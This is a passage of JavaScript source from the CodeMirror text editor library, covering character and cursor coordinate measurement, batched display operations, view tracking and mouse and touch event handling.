          while (i < map.length - 3 && map[i + 3] == map[i + 4] && !map[i + 5].insertLeft) {
            node = map[(i += 3) + 2];
            collapse = "right";
          }
        break;
      }
    }
    return {node: node, start: start, end: end, collapse: collapse, coverStart: mStart, coverEnd: mEnd};
  }

  function measureCharInner(cm, prepared, ch, bias) {
    var place = nodeAndOffsetInLineMap(prepared.map, ch, bias);
    var node = place.node, start = place.start, end = place.end, collapse = place.collapse;

    var rect;
    if (node.nodeType == 3) { // If it is a text node, use a range to retrieve the coordinates.
      for (var i = 0; i < 4; i++) { // Retry a maximum of 4 times when nonsense rectangles are returned
        while (start && isExtendingChar(prepared.line.text.charAt(place.coverStart + start))) --start;
        while (place.coverStart + end < place.coverEnd && isExtendingChar(prepared.line.text.charAt(place.coverStart + end))) ++end;
        if (ie && ie_version < 9 && start == 0 && end == place.coverEnd - place.coverStart) {
          rect = node.parentNode.getBoundingClientRect();
        } else if (ie && cm.options.lineWrapping) {
          var rects = range(node, start, end).getClientRects();
          if (rects.length)
            rect = rects[bias == "right" ? rects.length - 1 : 0];
          else
            rect = nullRect;
        } else {
          rect = range(node, start, end).getBoundingClientRect() || nullRect;
        }
        if (rect.left || rect.right || start == 0) break;
        end = start;
        start = start - 1;
        collapse = "right";
      }
      if (ie && ie_version < 11) rect = maybeUpdateRectForZooming(cm.display.measure, rect);
    } else { // If it is a widget, simply get the box for the whole widget.
      if (start > 0) collapse = bias = "right";
      var rects;
      if (cm.options.lineWrapping && (rects = node.getClientRects()).length > 1)
        rect = rects[bias == "right" ? rects.length - 1 : 0];
      else
        rect = node.getBoundingClientRect();
    }
    if (ie && ie_version < 9 && !start && (!rect || !rect.left && !rect.right)) {
      var rSpan = node.parentNode.getClientRects()[0];
      if (rSpan)
        rect = {left: rSpan.left, right: rSpan.left + charWidth(cm.display), top: rSpan.top, bottom: rSpan.bottom};
      else
        rect = nullRect;
    }

    var rtop = rect.top - prepared.rect.top, rbot = rect.bottom - prepared.rect.top;
    var mid = (rtop + rbot) / 2;
    var heights = prepared.view.measure.heights;
    for (var i = 0; i < heights.length - 1; i++)
      if (mid < heights[i]) break;
    var top = i ? heights[i - 1] : 0, bot = heights[i];
    var result = {left: (collapse == "right" ? rect.right : rect.left) - prepared.rect.left,
                  right: (collapse == "left" ? rect.left : rect.right) - prepared.rect.left,
                  top: top, bottom: bot};
    if (!rect.left && !rect.right) result.bogus = true;
    if (!cm.options.singleCursorHeightPerLine) { result.rtop = rtop; result.rbottom = rbot; }

    return result;
  }

  // Work around problem with bounding client rects on ranges being
  // returned incorrectly when zoomed on IE10 and below.
  function maybeUpdateRectForZooming(measure, rect) {
    if (!window.screen || screen.logicalXDPI == null ||
        screen.logicalXDPI == screen.deviceXDPI || !hasBadZoomedRects(measure))
      return rect;
    var scaleX = screen.logicalXDPI / screen.deviceXDPI;
    var scaleY = screen.logicalYDPI / screen.deviceYDPI;
    return {left: rect.left * scaleX, right: rect.right * scaleX,
            top: rect.top * scaleY, bottom: rect.bottom * scaleY};
  }

  function clearLineMeasurementCacheFor(lineView) {
    if (lineView.measure) {
      lineView.measure.cache = {};
      lineView.measure.heights = null;
      if (lineView.rest) for (var i = 0; i < lineView.rest.length; i++)
        lineView.measure.caches[i] = {};
    }
  }

  function clearLineMeasurementCache(cm) {
    cm.display.externalMeasure = null;
    removeChildren(cm.display.lineMeasure);
    for (var i = 0; i < cm.display.view.length; i++)
      clearLineMeasurementCacheFor(cm.display.view[i]);
  }

  function clearCaches(cm) {
    clearLineMeasurementCache(cm);
    cm.display.cachedCharWidth = cm.display.cachedTextHeight = cm.display.cachedPaddingH = null;
    if (!cm.options.lineWrapping) cm.display.maxLineChanged = true;
    cm.display.lineNumChars = null;
  }

  function pageScrollX() { return window.pageXOffset || (document.documentElement || document.body).scrollLeft; }
  function pageScrollY() { return window.pageYOffset || (document.documentElement || document.body).scrollTop; }

  // Converts a {top, bottom, left, right} box from line-local
  // coordinates into another coordinate system. Context may be one of
  // "line", "div" (display.lineDiv), "local"/null (editor), "window",
  // or "page".
  function intoCoordSystem(cm, lineObj, rect, context) {
    if (lineObj.widgets) for (var i = 0; i < lineObj.widgets.length; ++i) if (lineObj.widgets[i].above) {
      var size = widgetHeight(lineObj.widgets[i]);
      rect.top += size; rect.bottom += size;
    }
    if (context == "line") return rect;
    if (!context) context = "local";
    var yOff = heightAtLine(lineObj);
    if (context == "local") yOff += paddingTop(cm.display);
    else yOff -= cm.display.viewOffset;
    if (context == "page" || context == "window") {
      var lOff = cm.display.lineSpace.getBoundingClientRect();
      yOff += lOff.top + (context == "window" ? 0 : pageScrollY());
      var xOff = lOff.left + (context == "window" ? 0 : pageScrollX());
      rect.left += xOff; rect.right += xOff;
    }
    rect.top += yOff; rect.bottom += yOff;
    return rect;
  }

  // Coverts a box from "div" coords to another coordinate system.
  // Context may be "window", "page", "div", or "local"/null.
  function fromCoordSystem(cm, coords, context) {
    if (context == "div") return coords;
    var left = coords.left, top = coords.top;
    // First move into "page" coordinate system
    if (context == "page") {
      left -= pageScrollX();
      top -= pageScrollY();
    } else if (context == "local" || !context) {
      var localBox = cm.display.sizer.getBoundingClientRect();
      left += localBox.left;
      top += localBox.top;
    }

    var lineSpaceBox = cm.display.lineSpace.getBoundingClientRect();
    return {left: left - lineSpaceBox.left, top: top - lineSpaceBox.top};
  }

  function charCoords(cm, pos, context, lineObj, bias) {
    if (!lineObj) lineObj = getLine(cm.doc, pos.line);
    return intoCoordSystem(cm, lineObj, measureChar(cm, lineObj, pos.ch, bias), context);
  }

  // Returns a box for a given cursor position, which may have an
  // 'other' property containing the position of the secondary cursor
  // on a bidi boundary.
  function cursorCoords(cm, pos, context, lineObj, preparedMeasure, varHeight) {
    lineObj = lineObj || getLine(cm.doc, pos.line);
    if (!preparedMeasure) preparedMeasure = prepareMeasureForLine(cm, lineObj);
    function get(ch, right) {
      var m = measureCharPrepared(cm, preparedMeasure, ch, right ? "right" : "left", varHeight);
      if (right) m.left = m.right; else m.right = m.left;
      return intoCoordSystem(cm, lineObj, m, context);
    }
    function getBidi(ch, partPos) {
      var part = order[partPos], right = part.level % 2;
      if (ch == bidiLeft(part) && partPos && part.level < order[partPos - 1].level) {
        part = order[--partPos];
        ch = bidiRight(part) - (part.level % 2 ? 0 : 1);
        right = true;
      } else if (ch == bidiRight(part) && partPos < order.length - 1 && part.level < order[partPos + 1].level) {
        part = order[++partPos];
        ch = bidiLeft(part) - part.level % 2;
        right = false;
      }
      if (right && ch == part.to && ch > part.from) return get(ch - 1);
      return get(ch, right);
    }
    var order = getOrder(lineObj), ch = pos.ch;
    if (!order) return get(ch);
    var partPos = getBidiPartAt(order, ch);
    var val = getBidi(ch, partPos);
    if (bidiOther != null) val.other = getBidi(ch, bidiOther);
    return val;
  }

  // Used to cheaply estimate the coordinates for a position. Used for
  // intermediate scroll updates.
  function estimateCoords(cm, pos) {
    var left = 0, pos = clipPos(cm.doc, pos);
    if (!cm.options.lineWrapping) left = charWidth(cm.display) * pos.ch;
    var lineObj = getLine(cm.doc, pos.line);
    var top = heightAtLine(lineObj) + paddingTop(cm.display);
    return {left: left, right: left, top: top, bottom: top + lineObj.height};
  }

  // Positions returned by coordsChar contain some extra information.
  // xRel is the relative x position of the input coordinates compared
  // to the found position (so xRel > 0 means the coordinates are to
  // the right of the character position, for example). When outside
  // is true, that means the coordinates lie outside the line's
  // vertical range.
  function PosWithInfo(line, ch, outside, xRel) {
    var pos = Pos(line, ch);
    pos.xRel = xRel;
    if (outside) pos.outside = true;
    return pos;
  }

  // Compute the character position closest to the given coordinates.
  // Input must be lineSpace-local ("div" coordinate system).
  function coordsChar(cm, x, y) {
    var doc = cm.doc;
    y += cm.display.viewOffset;
    if (y < 0) return PosWithInfo(doc.first, 0, true, -1);
    var lineN = lineAtHeight(doc, y), last = doc.first + doc.size - 1;
    if (lineN > last)
      return PosWithInfo(doc.first + doc.size - 1, getLine(doc, last).text.length, true, 1);
    if (x < 0) x = 0;

    var lineObj = getLine(doc, lineN);
    for (;;) {
      var found = coordsCharInner(cm, lineObj, lineN, x, y);
      var merged = collapsedSpanAtEnd(lineObj);
      var mergedPos = merged && merged.find(0, true);
      if (merged && (found.ch > mergedPos.from.ch || found.ch == mergedPos.from.ch && found.xRel > 0))
        lineN = lineNo(lineObj = mergedPos.to.line);
      else
        return found;
    }
  }

  function coordsCharInner(cm, lineObj, lineNo, x, y) {
    var innerOff = y - heightAtLine(lineObj);
    var wrongLine = false, adjust = 2 * cm.display.wrapper.clientWidth;
    var preparedMeasure = prepareMeasureForLine(cm, lineObj);

    function getX(ch) {
      var sp = cursorCoords(cm, Pos(lineNo, ch), "line", lineObj, preparedMeasure);
      wrongLine = true;
      if (innerOff > sp.bottom) return sp.left - adjust;
      else if (innerOff < sp.top) return sp.left + adjust;
      else wrongLine = false;
      return sp.left;
    }

    var bidi = getOrder(lineObj), dist = lineObj.text.length;
    var from = lineLeft(lineObj), to = lineRight(lineObj);
    var fromX = getX(from), fromOutside = wrongLine, toX = getX(to), toOutside = wrongLine;

    if (x > toX) return PosWithInfo(lineNo, to, toOutside, 1);
    // Do a binary search between these bounds.
    for (;;) {
      if (bidi ? to == from || to == moveVisually(lineObj, from, 1) : to - from <= 1) {
        var ch = x < fromX || x - fromX <= toX - x ? from : to;
        var xDiff = x - (ch == from ? fromX : toX);
        while (isExtendingChar(lineObj.text.charAt(ch))) ++ch;
        var pos = PosWithInfo(lineNo, ch, ch == from ? fromOutside : toOutside,
                              xDiff < -1 ? -1 : xDiff > 1 ? 1 : 0);
        return pos;
      }
      var step = Math.ceil(dist / 2), middle = from + step;
      if (bidi) {
        middle = from;
        for (var i = 0; i < step; ++i) middle = moveVisually(lineObj, middle, 1);
      }
      var middleX = getX(middle);
      if (middleX > x) {to = middle; toX = middleX; if (toOutside = wrongLine) toX += 1000; dist = step;}
      else {from = middle; fromX = middleX; fromOutside = wrongLine; dist -= step;}
    }
  }

  var measureText;
  // Compute the default text height.
  function textHeight(display) {
    if (display.cachedTextHeight != null) return display.cachedTextHeight;
    if (measureText == null) {
      measureText = elt("pre");
      // Measure a bunch of lines, for browsers that compute
      // fractional heights.
      for (var i = 0; i < 49; ++i) {
        measureText.appendChild(document.createTextNode("x"));
        measureText.appendChild(elt("br"));
      }
      measureText.appendChild(document.createTextNode("x"));
    }
    removeChildrenAndAdd(display.measure, measureText);
    var height = measureText.offsetHeight / 50;
    if (height > 3) display.cachedTextHeight = height;
    removeChildren(display.measure);
    return height || 1;
  }

  // Compute the default character width.
  function charWidth(display) {
    if (display.cachedCharWidth != null) return display.cachedCharWidth;
    var anchor = elt("span", "xxxxxxxxxx");
    var pre = elt("pre", [anchor]);
    removeChildrenAndAdd(display.measure, pre);
    var rect = anchor.getBoundingClientRect(), width = (rect.right - rect.left) / 10;
    if (width > 2) display.cachedCharWidth = width;
    return width || 10;
  }

  // OPERATIONS

  // Operations are used to wrap a series of changes to the editor
  // state in such a way that each change won't have to update the
  // cursor and display (which would be awkward, slow, and
  // error-prone). Instead, display updates are batched and then all
  // combined and executed at once.

  var operationGroup = null;

  var nextOpId = 0;
  // Start a new operation.
  function startOperation(cm) {
    cm.curOp = {
      cm: cm,
      viewChanged: false,      // Flag that indicates that lines might need to be redrawn
      startHeight: cm.doc.height, // Used to detect need to update scrollbar
      forceUpdate: false,      // Used to force a redraw
      updateInput: null,       // Whether to reset the input textarea
      typing: false,           // Whether this reset should be careful to leave existing text (for compositing)
      changeObjs: null,        // Accumulated changes, for firing change events
      cursorActivityHandlers: null, // Set of handlers to fire cursorActivity on
      cursorActivityCalled: 0, // Tracks which cursorActivity handlers have been called already
      selectionChanged: false, // Whether the selection needs to be redrawn
      updateMaxLine: false,    // Set when the widest line needs to be determined anew
      scrollLeft: null, scrollTop: null, // Intermediate scroll position, not pushed to DOM yet
      scrollToPos: null,       // Used to scroll to a specific position
      focus: false,
      id: ++nextOpId           // Unique ID
    };
    if (operationGroup) {
      operationGroup.ops.push(cm.curOp);
    } else {
      cm.curOp.ownsGroup = operationGroup = {
        ops: [cm.curOp],
        delayedCallbacks: []
      };
    }
  }

  function fireCallbacksForOps(group) {
    // Calls delayed callbacks and cursorActivity handlers until no
    // new ones appear
    var callbacks = group.delayedCallbacks, i = 0;
    do {
      for (; i < callbacks.length; i++)
        callbacks[i].call(null);
      for (var j = 0; j < group.ops.length; j++) {
        var op = group.ops[j];
        if (op.cursorActivityHandlers)
          while (op.cursorActivityCalled < op.cursorActivityHandlers.length)
            op.cursorActivityHandlers[op.cursorActivityCalled++].call(null, op.cm);
      }
    } while (i < callbacks.length);
  }

  // Finish an operation, updating the display and signalling delayed events
  function endOperation(cm) {
    var op = cm.curOp, group = op.ownsGroup;
    if (!group) return;

    try { fireCallbacksForOps(group); }
    finally {
      operationGroup = null;
      for (var i = 0; i < group.ops.length; i++)
        group.ops[i].cm.curOp = null;
      endOperations(group);
    }
  }

  // The DOM updates done when an operation finishes are batched so
  // that the minimum number of relayouts are required.
  function endOperations(group) {
    var ops = group.ops;
    for (var i = 0; i < ops.length; i++) // Read DOM
      endOperation_R1(ops[i]);
    for (var i = 0; i < ops.length; i++) // Write DOM (maybe)
      endOperation_W1(ops[i]);
    for (var i = 0; i < ops.length; i++) // Read DOM
      endOperation_R2(ops[i]);
    for (var i = 0; i < ops.length; i++) // Write DOM (maybe)
      endOperation_W2(ops[i]);
    for (var i = 0; i < ops.length; i++) // Read DOM
      endOperation_finish(ops[i]);
  }

  function endOperation_R1(op) {
    var cm = op.cm, display = cm.display;
    maybeClipScrollbars(cm);
    if (op.updateMaxLine) findMaxLine(cm);

    op.mustUpdate = op.viewChanged || op.forceUpdate || op.scrollTop != null ||
      op.scrollToPos && (op.scrollToPos.from.line < display.viewFrom ||
                         op.scrollToPos.to.line >= display.viewTo) ||
      display.maxLineChanged && cm.options.lineWrapping;
    op.update = op.mustUpdate &&
      new DisplayUpdate(cm, op.mustUpdate && {top: op.scrollTop, ensure: op.scrollToPos}, op.forceUpdate);
  }

  function endOperation_W1(op) {
    op.updatedDisplay = op.mustUpdate && updateDisplayIfNeeded(op.cm, op.update);
  }

  function endOperation_R2(op) {
    var cm = op.cm, display = cm.display;
    if (op.updatedDisplay) updateHeightsInViewport(cm);

    op.barMeasure = measureForScrollbars(cm);

    // If the max line changed since it was last measured, measure it,
    // and ensure the document's width matches it.
    // updateDisplay_W2 will use these properties to do the actual resizing
    if (display.maxLineChanged && !cm.options.lineWrapping) {
      op.adjustWidthTo = measureChar(cm, display.maxLine, display.maxLine.text.length).left + 3;
      cm.display.sizerWidth = op.adjustWidthTo;
      op.barMeasure.scrollWidth =
        Math.max(display.scroller.clientWidth, display.sizer.offsetLeft + op.adjustWidthTo + scrollGap(cm) + cm.display.barWidth);
      op.maxScrollLeft = Math.max(0, display.sizer.offsetLeft + op.adjustWidthTo - displayWidth(cm));
    }

    if (op.updatedDisplay || op.selectionChanged)
      op.preparedSelection = display.input.prepareSelection();
  }

  function endOperation_W2(op) {
    var cm = op.cm;

    if (op.adjustWidthTo != null) {
      cm.display.sizer.style.minWidth = op.adjustWidthTo + "px";
      if (op.maxScrollLeft < cm.doc.scrollLeft)
        setScrollLeft(cm, Math.min(cm.display.scroller.scrollLeft, op.maxScrollLeft), true);
      cm.display.maxLineChanged = false;
    }

    if (op.preparedSelection)
      cm.display.input.showSelection(op.preparedSelection);
    if (op.updatedDisplay)
      setDocumentHeight(cm, op.barMeasure);
    if (op.updatedDisplay || op.startHeight != cm.doc.height)
      updateScrollbars(cm, op.barMeasure);

    if (op.selectionChanged) restartBlink(cm);

    if (cm.state.focused && op.updateInput)
      cm.display.input.reset(op.typing);
    if (op.focus && op.focus == activeElt() && (!document.hasFocus || document.hasFocus()))
      ensureFocus(op.cm);
  }

  function endOperation_finish(op) {
    var cm = op.cm, display = cm.display, doc = cm.doc;

    if (op.updatedDisplay) postUpdateDisplay(cm, op.update);

    // Abort mouse wheel delta measurement, when scrolling explicitly
    if (display.wheelStartX != null && (op.scrollTop != null || op.scrollLeft != null || op.scrollToPos))
      display.wheelStartX = display.wheelStartY = null;

    // Propagate the scroll position to the actual DOM scroller
    if (op.scrollTop != null && (display.scroller.scrollTop != op.scrollTop || op.forceScroll)) {
      doc.scrollTop = Math.max(0, Math.min(display.scroller.scrollHeight - display.scroller.clientHeight, op.scrollTop));
      display.scrollbars.setScrollTop(doc.scrollTop);
      display.scroller.scrollTop = doc.scrollTop;
    }
    if (op.scrollLeft != null && (display.scroller.scrollLeft != op.scrollLeft || op.forceScroll)) {
      doc.scrollLeft = Math.max(0, Math.min(display.scroller.scrollWidth - displayWidth(cm), op.scrollLeft));
      display.scrollbars.setScrollLeft(doc.scrollLeft);
      display.scroller.scrollLeft = doc.scrollLeft;
      alignHorizontally(cm);
    }
    // If we need to scroll a specific position into view, do so.
    if (op.scrollToPos) {
      var coords = scrollPosIntoView(cm, clipPos(doc, op.scrollToPos.from),
                                     clipPos(doc, op.scrollToPos.to), op.scrollToPos.margin);
      if (op.scrollToPos.isCursor && cm.state.focused) maybeScrollWindow(cm, coords);
    }

    // Fire events for markers that are hidden/unidden by editing or
    // undoing
    var hidden = op.maybeHiddenMarkers, unhidden = op.maybeUnhiddenMarkers;
    if (hidden) for (var i = 0; i < hidden.length; ++i)
      if (!hidden[i].lines.length) signal(hidden[i], "hide");
    if (unhidden) for (var i = 0; i < unhidden.length; ++i)
      if (unhidden[i].lines.length) signal(unhidden[i], "unhide");

    if (display.wrapper.offsetHeight)
      doc.scrollTop = cm.display.scroller.scrollTop;

    // Fire change events, and delayed event handlers
    if (op.changeObjs)
      signal(cm, "changes", cm, op.changeObjs);
    if (op.update)
      op.update.finish();
  }

  // Run the given function in an operation
  function runInOp(cm, f) {
    if (cm.curOp) return f();
    startOperation(cm);
    try { return f(); }
    finally { endOperation(cm); }
  }
  // Wraps a function in an operation. Returns the wrapped function.
  function operation(cm, f) {
    return function() {
      if (cm.curOp) return f.apply(cm, arguments);
      startOperation(cm);
      try { return f.apply(cm, arguments); }
      finally { endOperation(cm); }
    };
  }
  // Used to add methods to editor and doc instances, wrapping them in
  // operations.
  function methodOp(f) {
    return function() {
      if (this.curOp) return f.apply(this, arguments);
      startOperation(this);
      try { return f.apply(this, arguments); }
      finally { endOperation(this); }
    };
  }
  function docMethodOp(f) {
    return function() {
      var cm = this.cm;
      if (!cm || cm.curOp) return f.apply(this, arguments);
      startOperation(cm);
      try { return f.apply(this, arguments); }
      finally { endOperation(cm); }
    };
  }

  // VIEW TRACKING

  // These objects are used to represent the visible (currently drawn)
  // part of the document. A LineView may correspond to multiple
  // logical lines, if those are connected by collapsed ranges.
  function LineView(doc, line, lineN) {
    // The starting line
    this.line = line;
    // Continuing lines, if any
    this.rest = visualLineContinued(line);
    // Number of logical lines in this visual line
    this.size = this.rest ? lineNo(lst(this.rest)) - lineN + 1 : 1;
    this.node = this.text = null;
    this.hidden = lineIsHidden(doc, line);
  }

  // Create a range of LineView objects for the given lines.
  function buildViewArray(cm, from, to) {
    var array = [], nextPos;
    for (var pos = from; pos < to; pos = nextPos) {
      var view = new LineView(cm.doc, getLine(cm.doc, pos), pos);
      nextPos = pos + view.size;
      array.push(view);
    }
    return array;
  }

  // Updates the display.view data structure for a given change to the
  // document. From and to are in pre-change coordinates. Lendiff is
  // the amount of lines added or subtracted by the change. This is
  // used for changes that span multiple lines, or change the way
  // lines are divided into visual lines. regLineChange (below)
  // registers single-line changes.
  function regChange(cm, from, to, lendiff) {
    if (from == null) from = cm.doc.first;
    if (to == null) to = cm.doc.first + cm.doc.size;
    if (!lendiff) lendiff = 0;

    var display = cm.display;
    if (lendiff && to < display.viewTo &&
        (display.updateLineNumbers == null || display.updateLineNumbers > from))
      display.updateLineNumbers = from;

    cm.curOp.viewChanged = true;

    if (from >= display.viewTo) { // Change after
      if (sawCollapsedSpans && visualLineNo(cm.doc, from) < display.viewTo)
        resetView(cm);
    } else if (to <= display.viewFrom) { // Change before
      if (sawCollapsedSpans && visualLineEndNo(cm.doc, to + lendiff) > display.viewFrom) {
        resetView(cm);
      } else {
        display.viewFrom += lendiff;
        display.viewTo += lendiff;
      }
    } else if (from <= display.viewFrom && to >= display.viewTo) { // Full overlap
      resetView(cm);
    } else if (from <= display.viewFrom) { // Top overlap
      var cut = viewCuttingPoint(cm, to, to + lendiff, 1);
      if (cut) {
        display.view = display.view.slice(cut.index);
        display.viewFrom = cut.lineN;
        display.viewTo += lendiff;
      } else {
        resetView(cm);
      }
    } else if (to >= display.viewTo) { // Bottom overlap
      var cut = viewCuttingPoint(cm, from, from, -1);
      if (cut) {
        display.view = display.view.slice(0, cut.index);
        display.viewTo = cut.lineN;
      } else {
        resetView(cm);
      }
    } else { // Gap in the middle
      var cutTop = viewCuttingPoint(cm, from, from, -1);
      var cutBot = viewCuttingPoint(cm, to, to + lendiff, 1);
      if (cutTop && cutBot) {
        display.view = display.view.slice(0, cutTop.index)
          .concat(buildViewArray(cm, cutTop.lineN, cutBot.lineN))
          .concat(display.view.slice(cutBot.index));
        display.viewTo += lendiff;
      } else {
        resetView(cm);
      }
    }

    var ext = display.externalMeasured;
    if (ext) {
      if (to < ext.lineN)
        ext.lineN += lendiff;
      else if (from < ext.lineN + ext.size)
        display.externalMeasured = null;
    }
  }

  // Register a change to a single line. Type must be one of "text",
  // "gutter", "class", "widget"
  function regLineChange(cm, line, type) {
    cm.curOp.viewChanged = true;
    var display = cm.display, ext = cm.display.externalMeasured;
    if (ext && line >= ext.lineN && line < ext.lineN + ext.size)
      display.externalMeasured = null;

    if (line < display.viewFrom || line >= display.viewTo) return;
    var lineView = display.view[findViewIndex(cm, line)];
    if (lineView.node == null) return;
    var arr = lineView.changes || (lineView.changes = []);
    if (indexOf(arr, type) == -1) arr.push(type);
  }

  // Clear the view.
  function resetView(cm) {
    cm.display.viewFrom = cm.display.viewTo = cm.doc.first;
    cm.display.view = [];
    cm.display.viewOffset = 0;
  }

  // Find the view element corresponding to a given line. Return null
  // when the line isn't visible.
  function findViewIndex(cm, n) {
    if (n >= cm.display.viewTo) return null;
    n -= cm.display.viewFrom;
    if (n < 0) return null;
    var view = cm.display.view;
    for (var i = 0; i < view.length; i++) {
      n -= view[i].size;
      if (n < 0) return i;
    }
  }

  function viewCuttingPoint(cm, oldN, newN, dir) {
    var index = findViewIndex(cm, oldN), diff, view = cm.display.view;
    if (!sawCollapsedSpans || newN == cm.doc.first + cm.doc.size)
      return {index: index, lineN: newN};
    for (var i = 0, n = cm.display.viewFrom; i < index; i++)
      n += view[i].size;
    if (n != oldN) {
      if (dir > 0) {
        if (index == view.length - 1) return null;
        diff = (n + view[index].size) - oldN;
        index++;
      } else {
        diff = n - oldN;
      }
      oldN += diff; newN += diff;
    }
    while (visualLineNo(cm.doc, newN) != newN) {
      if (index == (dir < 0 ? 0 : view.length - 1)) return null;
      newN += dir * view[index - (dir < 0 ? 1 : 0)].size;
      index += dir;
    }
    return {index: index, lineN: newN};
  }

  // Force the view to cover a given range, adding empty view element
  // or clipping off existing ones as needed.
  function adjustView(cm, from, to) {
    var display = cm.display, view = display.view;
    if (view.length == 0 || from >= display.viewTo || to <= display.viewFrom) {
      display.view = buildViewArray(cm, from, to);
      display.viewFrom = from;
    } else {
      if (display.viewFrom > from)
        display.view = buildViewArray(cm, from, display.viewFrom).concat(display.view);
      else if (display.viewFrom < from)
        display.view = display.view.slice(findViewIndex(cm, from));
      display.viewFrom = from;
      if (display.viewTo < to)
        display.view = display.view.concat(buildViewArray(cm, display.viewTo, to));
      else if (display.viewTo > to)
        display.view = display.view.slice(0, findViewIndex(cm, to));
    }
    display.viewTo = to;
  }

  // Count the number of lines in the view whose DOM representation is
  // out of date (or nonexistent).
  function countDirtyView(cm) {
    var view = cm.display.view, dirty = 0;
    for (var i = 0; i < view.length; i++) {
      var lineView = view[i];
      if (!lineView.hidden && (!lineView.node || lineView.changes)) ++dirty;
    }
    return dirty;
  }

  // EVENT HANDLERS

  // Attach the necessary event handlers when initializing the editor
  function registerEventHandlers(cm) {
    var d = cm.display;
    on(d.scroller, "mousedown", operation(cm, onMouseDown));
    // Older IE's will not fire a second mousedown for a double click
    if (ie && ie_version < 11)
      on(d.scroller, "dblclick", operation(cm, function(e) {
        if (signalDOMEvent(cm, e)) return;
        var pos = posFromMouse(cm, e);
        if (!pos || clickInGutter(cm, e) || eventInWidget(cm.display, e)) return;
        e_preventDefault(e);
        var word = cm.findWordAt(pos);
        extendSelection(cm.doc, word.anchor, word.head);
      }));
    else
      on(d.scroller, "dblclick", function(e) { signalDOMEvent(cm, e) || e_preventDefault(e); });
    // Some browsers fire contextmenu *after* opening the menu, at
    // which point we can't mess with it anymore. Context menu is
    // handled in onMouseDown for these browsers.
    if (!captureRightClick) on(d.scroller, "contextmenu", function(e) {onContextMenu(cm, e);});

    // Used to suppress mouse event handling when a touch happens
    var touchFinished, prevTouch = {end: 0};
    function finishTouch() {
      if (d.activeTouch) {
        touchFinished = setTimeout(function() {d.activeTouch = null;}, 1000);
        prevTouch = d.activeTouch;
        prevTouch.end = +new Date;
      }
    };
    function isMouseLikeTouchEvent(e) {
      if (e.touches.length != 1) return false;
      var touch = e.touches[0];
      return touch.radiusX <= 1 && touch.radiusY <= 1;
    }
    function farAway(touch, other) {
      if (other.left == null) return true;
      var dx = other.left - touch.left, dy = other.top - touch.top;
      return dx * dx + dy * dy > 20 * 20;
    }
    on(d.scroller, "touchstart", function(e) {
      if (!isMouseLikeTouchEvent(e)) {
        clearTimeout(touchFinished);
        var now = +new Date;
        d.activeTouch = {start: now, moved: false,
                         prev: now - prevTouch.end <= 300 ? prevTouch : null};
        if (e.touches.length == 1) {
          d.activeTouch.left = e.touches[0].pageX;
          d.activeTouch.top = e.touches[0].pageY;
        }
      }
    });
    on(d.scroller, "touchmove", function() {
      if (d.activeTouch) d.activeTouch.moved = true;
    });
    on(d.scroller, "touchend", function(e) {
      var touch = d.activeTouch;
      if (touch && !eventInWidget(d, e) && touch.left != null &&
          !touch.moved && new Date - touch.start < 300) {
        var pos = cm.coordsChar(d.activeTouch, "page"), range;
        if (!touch.prev || farAway(touch, touch.prev)) // Single tap
          range = new Range(pos, pos);
        else if (!touch.prev.prev || farAway(touch, touch.prev.prev)) // Double tap
          range = cm.findWordAt(pos);
        else // Triple tap
          range = new Range(Pos(pos.line, 0), clipPos(cm.doc, Pos(pos.line + 1, 0)));
        cm.setSelection(range.anchor, range.head);
        cm.focus();
        e_preventDefault(e);
      }
      finishTouch();
    });
    on(d.scroller, "touchcancel", finishTouch);

    // Sync scrolling between fake scrollbars and real scrollable
    // area, ensure viewport is updated when scrolling.
    on(d.scroller, "scroll", function() {
      if (d.scroller.clientHeight) {
        setScrollTop(cm, d.scroller.scrollTop);
        setScrollLeft(cm, d.scroller.scrollLeft, true);
        signal(cm, "scroll", cm);
      }
    });

    // Listen to wheel events in order to try and update the viewport on time.
    on(d.scroller, "mousewheel", function(e){onScrollWheel(cm, e);});
    on(d.scroller, "DOMMouseScroll", function(e){onScrollWheel(cm, e);});

    // Prevent wrapper from ever scrolling
    on(d.wrapper, "scroll", function() { d.wrapper.scrollTop = d.wrapper.scrollLeft = 0; });

    d.dragFunctions = {
      enter: function(e) {if (!signalDOMEvent(cm, e)) e_stop(e);},
      over: function(e) {if (!signalDOMEvent(cm, e)) { onDragOver(cm, e); e_stop(e); }},
      start: function(e){onDragStart(cm, e);},
      drop: operation(cm, onDrop),
      leave: function() {clearDragCursor(cm);}
    };

    var inp = d.input.getField();
    on(inp, "keyup", function(e) { onKeyUp.call(cm, e); });
    on(inp, "keydown", operation(cm, onKeyDown));
    on(inp, "keypress", operation(cm, onKeyPress));
    on(inp, "focus", bind(onFocus, cm));
    on(inp, "blur", bind(onBlur, cm));
  }

  function dragDropChanged(cm, value, old) {
    var wasOn = old && old != CodeMirror.Init;
    if (!value != !wasOn) {
      var funcs = cm.display.dragFunctions;
      var toggle = value ? on : off;
      toggle(cm.display.scroller, "dragstart", funcs.start);
      toggle(cm.display.scroller, "dragenter", funcs.enter);
      toggle(cm.display.scroller, "dragover", funcs.over);
      toggle(cm.display.scroller, "dragleave", funcs.leave);
      toggle(cm.display.scroller, "drop", funcs.drop);
    }
  }

  // Called when the window resizes
  function onResize(cm) {
    var d = cm.display;
    if (d.lastWrapHeight == d.wrapper.clientHeight && d.lastWrapWidth == d.wrapper.clientWidth)
      return;
    // Might be a text scaling operation, clear size caches.
    d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;
    d.scrollbarsClipped = false;
    cm.setSize();
  }

  // MOUSE EVENTS

  // Return true when the given mouse event happened in a widget
  function eventInWidget(display, e) {
    for (var n = e_target(e); n != display.wrapper; n = n.parentNode) {
      if (!n || (n.nodeType == 1 && n.getAttribute("cm-ignore-events") == "true") ||
          (n.parentNode == display.sizer && n != display.mover))
        return true;
    }
  }

  // Given a mouse event, find the corresponding position. If liberal
  // is false, it checks whether a gutter or scrollbar was clicked,
  // and returns null if it was. forRect is used by rectangular
  // selections, and tries to estimate a character position even for
  // coordinates beyond the right of the text.
  function posFromMouse(cm, e, liberal, forRect) {
    var display = cm.display;
    if (!liberal && e_target(e).getAttribute("cm-not-content") == "true") return null;

    var x, y, space = display.lineSpace.getBoundingClientRect();
    // Fails unpredictably on IE[67] when mouse is dragged around quickly.
    try { x = e.clientX - space.left; y = e.clientY - space.top; }
    catch (e) { return null; }
    var coords = coordsChar(cm, x, y), line;
    if (forRect && coords.xRel == 1 && (line = getLine(cm.doc, coords.line).text).length == coords.ch) {
      var colDiff = countColumn(line, line.length, cm.options.tabSize) - line.length;
